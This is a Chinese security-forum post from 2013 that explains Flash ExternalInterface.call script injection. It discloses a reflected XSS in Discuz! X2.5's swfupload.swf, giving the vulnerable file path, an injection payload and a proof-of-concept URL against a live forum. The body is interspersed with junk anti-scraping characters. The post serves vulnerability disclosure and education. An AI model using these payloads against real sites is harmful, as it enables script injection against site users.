找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 1846|回复: 0
打印 上一主题 下一主题

Flash应用安全系列[2]--Discuz! X2.5反射型跨站

[复制链接]
跳转到指定楼层
楼主
发表于 2013-2-23 12:50:58 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
上回我们说- u+ j% W* {7 M+ x! r8 B) n  m

8 u, e; K* ]8 n8 |5 {flash.external.ExternalInterface.call($methodName, $parameter)
, X1 k" p" |% P( X在浏览器中执行的是
: h& K5 j  ^. ^" Z# l! G" v
2 k- z) e6 \2 m: atry { __flash__toXML($methodName("$parameter")) ; } catch (e) { "<undefined/>";}
6 |2 |& [/ x( {: o对于第一个传入的$methodName,flash player在输出js函数时是未经过任何编码的,上个例子里$methodName是全部可控的,但是我们知道了执行脚本的原理后,$methodName只需要部分可控,我们也可以通过注入特殊字符以达到执行任意JS代码的目的。比如
; r, h9 c7 u* ~7 V5 R$ {3 k4 S; d1 \0 d5 O) R5 z9 X+ H, }1 U( H
flash.external.ExternalInterface.call("object."+$methodName, $parameter)3 b* ]1 l: T& ]( O: X) N
$methodName = a())}catch(e){alert(/xss/)}//; C+ j2 [% |2 p. U7 e9 y
结果是不存在object.a方法,跳到catch,执行我们构造的任意JS。7 O" a5 }0 l$ y

7 q  x3 E8 Y! c8 Jtry { __flash__toXML(object.a())}catch(e){alert(/xss/)}//("$parameter")) ;}catch (e) { "<undefined/>"; }
! p$ S7 Y' }  s" j9 X3 R' `: i
, b( V4 [" k% z1 m% @# E- y这类xss的最有名的实例就是在去年年中爆出的Wordpress的xss,乌云上也有这个漏洞的分析( WooYun: WordPress反射型XSS )
5 y# X8 z8 M5 s' L杯具的是,Discuz! X2.5中采用了一个同样的一个swfupload模块,而且还是修复前的版本。& I+ U5 F) t: E$ @
! l: r6 n- I# R3 z+ N9 x$ Q
4 Q) x- r' r9 S2 E

% \! l# ]- {8 a# \1 G漏洞文件:upload\static\image\common\swfupload.swf
& t' G. D) I0 T2 t
% v6 X0 w- Z) W) R原始SWF下载:http://swfpoc.appspot.com/vul/discuz_swfupload.swf- b$ R  ^  P7 \, J3 k. }( ~

8 }4 V/ I+ ^8 A+ s$ n7 |9 m
- L9 m) L' _  E" g; ^' O7 J# |漏洞证明:http://bbs.open.qq.com/static/im ... d.swf?movieName=%22])}catch(e){if(!window.x){window.x=1;alert(/xss/)}}//
/ D: ~% M/ X! u' a
, C( W+ B. q- ?6 _5 B& g/ a) P2 Z! Y
3 @0 z8 @  y- ~$ D
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表